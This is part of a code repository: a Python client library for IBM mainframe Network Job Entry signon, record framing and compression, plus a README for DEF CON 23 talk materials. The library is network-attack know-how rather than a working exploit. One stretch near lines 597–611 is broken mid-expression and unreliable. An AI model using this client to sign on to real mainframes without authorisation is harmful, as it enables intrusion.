+ u'\n' 362 | cur_nmr = cur_nmr[0x1E+msg_length:] 363 | nmr = nmr[total_length:] 364 | return messages 365 | 366 | def parseNMRFLAG(self, NMRFLAG): 367 | print "LOOOL" 368 | 369 | 370 | def check_signoff(self, buf): 371 | if self.EbcdicToAscii(buf[18]) == 'B': 372 | print "[+] Recieved Signoff Record of type 'B'. Closing Connection." 373 | self.disconnect() 374 | return False 375 | else: 376 | return True 377 | 378 | def build_SOHENQ(self): 379 | # Now we need to create a TTB. All NJE Packets have a TTB and a TTR. 380 | self.msg("Sending >> SOH ENQ") 381 | # SOH (0x01) and ENQ (0x2D) are control chars and are the next thing we have to send 382 | # |-------------TTB----------------|TTR------------|SOH-ENQ|TTB EOB--------| 383 | # Will be "\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x02\x01\x2D\x00\x00\x00\x00" 384 | SOHENQ = "\x01\x2D" 385 | with_TTR = self.makeTTR_data_block_header( SOHENQ ) 386 | with_TTB = self.makeTTB(with_TTR) 387 | return with_TTB 388 | 389 | def build_I(self): 390 | ''' Creates Initial Signon Record 'I' ''' 391 | # Now we have to send the 'I' for Initial signon. Yes, we built this by hand 392 | # TODO: TTR/TTB creator function 393 | # From Page 111 in has2a620.pdf 394 | # |--------- TTB ------------------|---- TTR ------|DLE-STX| 395 | Initialize_record = ("\x00\x00\x00\x3E\x00\x00\x00\x00\x00\x00\x00\x2E\x10\x02" 396 | ) + chr(self.sequence) + ( #BCB - tracks the sequence number 397 | "\x8F\xCF" #FCS 398 | "\xF0" # NCCRCB 399 | "\xC9" # NCCSRCB: EBCDIC letter 'I' 400 | "\x29" # LENGTH OF RECORD 401 | )+ self.RHOST + self.own_node + ( 402 | "\x00\x00\x00\x00" #NCCIEVNT - Not used for I record 403 | "\x00\x64" # Node Resistance - NCCIREST 404 | "\x80\x00" # Buffer Size. Set to: 32768 405 | # Password 406 | ) + self.padding(self.password)*2 + ( 407 | "\x00" # NCCIFLG - 00 for initial signon 408 | "\x15\x00\x00\x00" + # NCCIFEAT - Something 409 | "\x00\x00\x00\x00" # and the rest 410 | ) 411 | return Initialize_record 412 | 413 | def build_reset(self): 414 | ''' Builds Reset Signon Record ''' 415 | reset_signon = ("\x00\x00\x00\x1E\x00\x00\x00\x00\x00\x00\x00\x0E\x10\x02" 416 | )+chr(self.sequence)+( #BCB 417 | "\x8F\xCF" #FCS 418 | "\xF0" #NCCRCB 419 | "\xD2" #SRCB = 'K' 420 | "\x09") 421 | # Now, if you're the primary NCCIEVNT is going to be empty. So we put all FFs. Otherwise, we fill it up with the NCCIEVNT we got back from the primary 422 | reset_signon += "\xFF\xFF\xFF\xFF" + "\x00\xC8" + "\x00\x00\x00\x00" 423 | return reset_signon 424 | 425 | def build_concurrence(self, NCCIEVNT): 426 | ''' Builds Reset Signon Record ''' 427 | concurrent_signon = ("\x00\x00\x00\x1E\x00\x00\x00\x00\x00\x00\x00\x0E\x10\x02" 428 | )+chr(self.sequence)+( #BCB 429 | "\x8F\xCF" #FCS 430 | "\xF0" #NCCRCB 431 | "\xD3" #SRCB = 'L' 432 | "\x09") 433 | concurrent_signon += NCCIEVNT + "\x00\xC8" + "\x00\x00\x00\x00" 434 | return concurrent_signon 435 | 436 | def padding(self, word): 437 | ''' Converts text to EBCDIC and appends spaces until the string is 8 bytes long ''' 438 | return self.AsciiToEbcdic(word) + SPACE * (8-len(word)) 439 | 440 | def hsize(self, b_array): 441 | return struct.unpack('>H', b_array)[0] 442 | 443 | def makeTTB(self, data): 444 | # TTB includes it's own length of 8 plus the EOB of 4 bytes. 445 | return ("\x00\x00" + struct.pack('>H', len(data)+8+4) + 446 | "\x00\x00\x00\x00" + data + "\x00\x00\x00\x00") 447 | 448 | def makeTTR_data_block_header(self, data): 449 | # a datablock TTR doesn't include it's own length of 4 nor an EOB 450 | return "\x00\x00" + struct.pack('>H', len(data)) + data 451 | 452 | def makeTTR_block_header(self, data): 453 | # a regular TTR doesn't include it's own length of 4 but does add an EOB for TTR which is one byte long 454 | return ("\x00\x00" + struct.pack('>H', len(data) + 1) + 455 | "\x00\x00\x00\x00" + data + "\x00" ) 456 | 457 | def readTTB(self, TTB): 458 | ''' TTB is 4 bytes long. Only the 2nd and 3rd bytes are used as the length ''' 459 | ''' returns an int of the length ''' 460 | return self.hsize(TTB[2:4]) 461 | 462 | def readTTR(self, TTR): 463 | ''' TTR is the length of the record. Only the 2nd and 3rd bytes are used as the length ''' 464 | ''' returns an int of the length ''' 465 | return self.hsize(TTR[2:4]) 466 | 467 | def getData(self): 468 | data = '' 469 | r, w, e = select([self.sock], [], []) 470 | for i in r: 471 | try: 472 | buf = self.sock.recv(256) 473 | data += buf 474 | self.msg("Recieved: %r", self.phex(buf) ) 475 | while( buf != ''): 476 | buf = self.sock.recv(256) 477 | data += buf 478 | if(buf == ''): 479 | break 480 | except socket.error: 481 | pass 482 | return data 483 | 484 | def sendData(self, data): 485 | """Sends raw data to the NJE server """ 486 | self.sock.sendall(data) 487 | 488 | def phex(self, stuff): 489 | hexed = binascii.hexlify(bytearray(stuff)) 490 | return ':'.join(hexed[i:i+2] for i in range(0, len(hexed), 2)) 491 | 492 | def readRCB(self,RCB): 493 | # Record Control Byte (Pg 124) 494 | """Decodes the RCB: 495 | 496 | 00 End-of-block (BSC) 497 | 90 Request to initiate stream (SRCB=RCB of stream to be initiated) 498 | A0 Permission to initiate stream (SRCB=RCB of stream to be initiated) 499 | B0 Negative permission or receiver cancel (SRCB=RCB of stream to be denied) 500 | C0 Acknowledge transmission complete (SRCB=RCB of stream received) 501 | D0 Ready to receive stream (SRCB=RCB of stream to be received) 502 | E0 BCB sequence error 503 | F0 General control record 504 | 98-F8 SYSIN record 505 | 99-F9 SYSOUT record 506 | 9A Operator command/console message 507 | """ 508 | if RCB == "\x00": 509 | self.msg("[RCB] End-of-block (BSC) (00)") 510 | return "EOB" 511 | elif RCB == "\x90": 512 | self.msg("[RCB] Request to initiate stream (90)") 513 | return "INITIATE" 514 | elif RCB == "\xA0": 515 | self.msg("[RCB] Permission to initiate stream (A0)") 516 | return "PERMISSION" 517 | elif RCB == "\xB0": 518 | self.msg("[RCB] Negative permission or receiver cancel (B0)") 519 | return "NEGATIVE" 520 | elif RCB == "\xC0": 521 | self.msg("[RCB] Acknowledge transmission complete (C0)") 522 | return "COMPLETE" 523 | elif RCB == "\xD0": 524 | self.msg("[RCB] Ready to receive stream (D0)") 525 | return "RECIEVE" 526 | elif RCB == "\xE0": 527 | self.msg("[RCB] BCB sequence error (E0)") 528 | return "SEQUENCE" 529 | elif RCB == "\xF0": 530 | self.msg("[RCB] General control record (F0)") 531 | return "CONTROL" 532 | elif "\x98" <= RCB <= "\xF8": 533 | self.msg("[RCB] SYSIN record (98-F8)") 534 | return "SYSIN" 535 | elif "\x99" <= RCB <= "\xF9": 536 | self.msg("[RCB] SYSOUT record (99-F9)") 537 | return "SYSOUT" 538 | elif RCB == "\x9A": 539 | self.msg("[RCB] Operator command/console message (9A)") 540 | return "CONSOLE" 541 | 542 | def readSRCB(self, SRCB): 543 | # Subrecord Control Byte (Pg 125) 544 | """ Reads the SRCB 545 | RCB SRCB 546 | 00 None 547 | 90 RCB of stream to be initiated 548 | A0 RCB of stream to be initiated 549 | B0 RCB of stream to be cancelled or rejected 550 | C0 RCB of completed stream 551 | D0 RCB of ready stream receiver 552 | E0 Expected count - BCB sequence error (received count is in BCB) 553 | F0 An identification character as follows: 554 | A = Reserved 555 | B = Network SIGNOFF 556 | C-H = Reserved 557 | I = Initial network SIGNON 558 | Must be only record in transmission buffer 559 | J = Response to initial network SIGNON 560 | Must be only record in transmission buffer 561 | K = Reset network SIGNON 562 | L = Accept (concurrence) network SIGNON 563 | M = Add network connection 564 | N = Delete network connection 565 | O-R = Reserved for IBM's use 566 | 98-F8 NJE SYSIN control information as follows: 567 | 1000 0000 - Standard record 568 | 1100 0000 - Job header 569 | 1110 0000 - Data set header 570 | 1101 0000 - Job trailer 571 | 1111 0000 - Reserved 572 | 1111 0000 - Reserved for IBM's use 573 | 99-F9 NJE SYSOUT control information as follows: 574 | 10cc 0000 - Carriage control type as follows: 575 | 1000 0000 - No carriage control 576 | 1001 0000 - Machine carriage control 577 | 1010 0000 - ASA carriage control 578 | 1011 0000 - CPDS page mode records (with carriage control) 579 | 10cc ss00 - Spanned record control as follows: 580 | 10.. 0000 - Standard record (not spanned) 581 | 10.. 1000 - First segment of spanned record 582 | 10.. 0100 - Middle segment of spanned record 583 | 10.. 1100 - Last segment of spanned record 584 | 11cc 0000 - Control record as follows: 585 | 1100 0000 - Job header 586 | 1110 0000 - Data set header 587 | 1101 0000 - Job trailer 588 | 1111 0000 - Reserved for IBM's use 589 | 9A Operator Command/Message (NMR) 590 | 1000 0000 (X'80') 591 | """ 592 | return 'Placeholder' 593 | 594 | def hex2ip(self, ip_addr): 595 | ip = '' 596 | for i in range(0,len(ip_addr)): 597 | ip += str(struct.unpack(' 0: 611 | if ord(buf[0]) == 0x40 and ord(buf[1]) == 0x40: 612 | if c > 0: d += chr(0xC0 + c) + t # If we go straight from repeat char to repeat spaces this creates an extra char 613 | t = '' 614 | c = 1 615 | while ord(buf[c]) == 0x40: 616 | c += 1 617 | d += chr(0x80 + c) 618 | buf = buf[c-1:] 619 | c = 0 620 | elif len(buf) > 2 and ord(buf[0]) == ord(buf[2]) and ord(buf[0]) == ord(buf[1]): 621 | if c > 0: d += chr(0xC0 + c) + t # Same as above. This if fixes that 622 | t = '' 623 | c = 2 624 | while ord(buf[c]) == ord(buf[0]): 625 | c += 1 626 | d += chr(0xA0 + c) + buf[0] 627 | buf = buf[c-1:] 628 | c = 0 629 | elif c == 63: 630 | d += chr(0xC0 + c) + t 631 | t = '' 632 | c = 0 633 | else: 634 | t += buf[0] 635 | c += 1 636 | buf = buf[1:] 637 | if c > 0: d += chr(0xC0 + c) + t 638 | return d+'\x00' 639 | 640 | def readSCB(self, data): 641 | # String Control Byte (Pg 123) 642 | self.msg("Decompressing String Control Bytes") 643 | if len(data) <= 0: return '' 644 | SCB = data[0] 645 | position = 1 646 | de_compressed = '' 647 | SCB_type = ord(SCB) & 0xC0 648 | if SCB_type == 0xC0: 649 | self.msg("SCB Type 0xC0") 650 | # 11cccccc Indicates that 'cccccc' non-compressed characters (maximum of 63) follow the SCB. (The record is compressed; these characters are not.) 651 | count = ord(SCB) & 0x3f 652 | self.msg("%r non-compressed chars follow", count) 653 | #self.msg("remaining: %r", len(data)) 654 | if count >= len(data): 655 | count = len(data) - 1 656 | 657 | for i in range(0,count): 658 | de_compressed += data[position] 659 | position += 1 660 | de_compressed += self.readSCB(data[position:]) 661 | elif SCB_type == 0x80: 662 | self.msg("SCB Type 0x80") 663 | # It's either of type b'101' (chars) or b'100' (blanks aka 0x40) 664 | count = ord(SCB) & 0x1f 665 | sub_type = ord(SCB) & 0xE0 666 | if sub_type == 0xA0: # 100bbbbb Indicates that 'bbbbb' blanks should be inserted after the SCB. 667 | self.msg("Sub Type 0xA0") 668 | de_compressed = data[1] * count 669 | de_compressed += self.readSCB(data[2:]) 670 | elif sub_type == 0x80: # 101ddddd Indicates that the single character following the SCB should be duplicated 'ddddd' times. 671 | self.msg("Sub Type 0x80") 672 | #if ord(SCB) == 0x98: 673 | # UGLY HACK !!!! Fix Later. It ""Appears"" that 0x0098 is the field seperator. 674 | #de_compressed = readSCB(data[1:]) 675 | #else: 676 | de_compressed = '\x40' * count 677 | de_compressed += self.readSCB(data[1:]) 678 | elif SCB_type == 0x00: 679 | self.msg("SCB Type 0x00") 680 | self.msg("Data remaining: %r", len(data[1:])) 681 | # 00000000 Indicates the end of the NJE record 682 | # de_compressed = '\x00' 683 | if len(data[1:]) > 0: 684 | self.msg("Recursing") 685 | if ord(data[1:2]) == 0x98: 686 | de_compressed = self.readSCB(data[2:]) 687 | else: de_compressed = self.readSCB(data[1:]) 688 | return de_compressed 689 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #defcon23 2 | ##Materials released for our DEF CON 23 talk 3 | 4 | - Exploits and Shellcode 5 | - *BeS demo code* 6 | - Network Tools 7 | - *SoF tools* 8 | --------------------------------------------------------------------------------